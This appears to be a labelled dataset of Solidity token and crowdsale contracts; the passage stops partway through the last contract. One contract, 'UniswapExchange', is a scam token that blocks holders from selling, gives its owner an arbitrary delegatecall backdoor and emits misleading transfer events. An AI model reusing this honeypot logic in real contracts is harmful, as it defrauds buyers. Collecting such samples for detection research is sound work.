pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract OwnableToken {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function OwnableToken() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BurnableToken is BasicToken, OwnableToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public onlyOwner {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract esToken is OwnableToken, BurnableToken, StandardToken {
string public name;
string public symbol;
uint8 public decimals;
bool public paused = true;
mapping(address => bool) public whitelist;
modifier whenNotPaused() {
require(!paused || whitelist[msg.sender]);
_;
}
constructor(string _name,string _symbol,uint8 _decimals, address holder, address buffer) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
Transfer(address(0), holder, balances[holder] = totalSupply_ = uint256(10)**(9 + decimals));
addToWhitelist(holder);
addToWhitelist(buffer);
}
function unpause() public onlyOwner {
paused = false;
}
function pause() public onlyOwner {
paused = true;
}
function addToWhitelist(address addr) public onlyOwner {
whitelist[addr] = true;
}
function removeFromWhitelist(address addr) public onlyOwner {
whitelist[addr] = false;
}
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
constructor(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(address(this).balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
constructor(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function _forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
}
contract esCrowdsale is CappedCrowdsale, RefundableCrowdsale {
constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
address _wallet,
uint256 _cap,
ERC20 _token,
uint256 _goal
)
public
Crowdsale(_rate, _wallet, _token)
CappedCrowdsale(_cap)
TimedCrowdsale(_openingTime, _closingTime)
RefundableCrowdsale(_goal)
{
require(_goal <= _cap);
}
} | 0 | 1,351 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 4,350 |
pragma solidity ^0.4.11;
contract Ulti {
string public name = "Ulti";
string public symbol = "Ulti";
uint256 public decimals = 18;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
uint256 public totalSupply = 225000000 * (10**decimals);
address public owner;
modifier isOwner {
assert(owner == msg.sender);
_;
}
function Ulti() {
owner = msg.sender;
balanceOf[owner] = totalSupply;
}
function transfer(address _to, uint256 _value) returns (bool success) {
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
require(allowance[_from][msg.sender] >= _value);
balanceOf[_to] += _value;
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success)
{
require(_value == 0 || allowance[msg.sender][_spender] == 0);
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function setName(string _name) isOwner
{
name = _name;
}
function burnSupply(uint256 _amount) isOwner
{
balanceOf[owner] -= _amount;
SupplyBurn(_amount);
}
function burnTotalSupply(uint256 _amount) isOwner
{
totalSupply-= _amount;
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event SupplyBurn(uint256 _amount);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | 1 | 4,346 |
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint tokensSold, uint weiRaised, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
if(_minimumFundingGoal != 0) {
}
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(tokenAmount, weiAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
onInvest();
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
function onInvest() internal {
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
modifier onlyPayloadSize(uint size) {
if(msg.data.length != size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
function addApproval(address _spender, uint _addedValue)
onlyPayloadSize(2 * 32)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
allowed[msg.sender][_spender] = safeAdd(oldValue, _addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function subApproval(address _spender, uint _subtractedValue)
onlyPayloadSize(2 * 32)
returns (bool success) {
uint oldVal = allowed[msg.sender][_spender];
if (_subtractedValue > oldVal) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = safeSub(oldVal, _subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PreICOProxyBuyer is Ownable {
using SafeMathLib for uint;
uint public investorCount;
uint public weiRaisedTotal;
address[] public investors;
mapping(address => uint) public balances;
mapping(address => uint) public claimed;
uint public freezeEndsAt;
uint public weiMinimumLimit;
uint public tokensBought;
uint public claimCount;
uint public totalClaimed;
Crowdsale public crowdsale;
enum State{Unknown, Funding, Distributing, Refunding}
event Invested(address investor, uint value);
event Refunded(address investor, uint value);
event TokensBoughts(uint count);
event Distributed(address investors, uint count);
function PreICOProxyBuyer(address _owner, uint _freezeEndsAt, uint _weiMinimumLimit) {
owner = _owner;
if(_freezeEndsAt == 0) {
throw;
}
if(_weiMinimumLimit == 0) {
throw;
}
weiMinimumLimit = _weiMinimumLimit;
freezeEndsAt = _freezeEndsAt;
}
function getToken() public constant returns(FractionalERC20) {
if(address(crowdsale) == 0) {
throw;
}
return crowdsale.token();
}
function invest() public payable {
if(getState() != State.Funding) throw;
if(msg.value == 0) throw;
address investor = msg.sender;
bool existing = balances[investor] > 0;
balances[investor] = balances[investor].plus(msg.value);
if(balances[investor] < weiMinimumLimit) {
throw;
}
if(!existing) {
investors.push(investor);
investorCount++;
}
weiRaisedTotal = weiRaisedTotal.plus(msg.value);
Invested(investor, msg.value);
}
function buyForEverybody() public {
if(getState() != State.Funding) {
throw;
}
if(address(crowdsale) == 0) throw;
crowdsale.invest.value(weiRaisedTotal)(address(this));
tokensBought = getToken().balanceOf(address(this));
if(tokensBought == 0) {
throw;
}
TokensBoughts(tokensBought);
}
function getClaimAmount(address investor) public constant returns (uint) {
if(getState() != State.Distributing) {
throw;
}
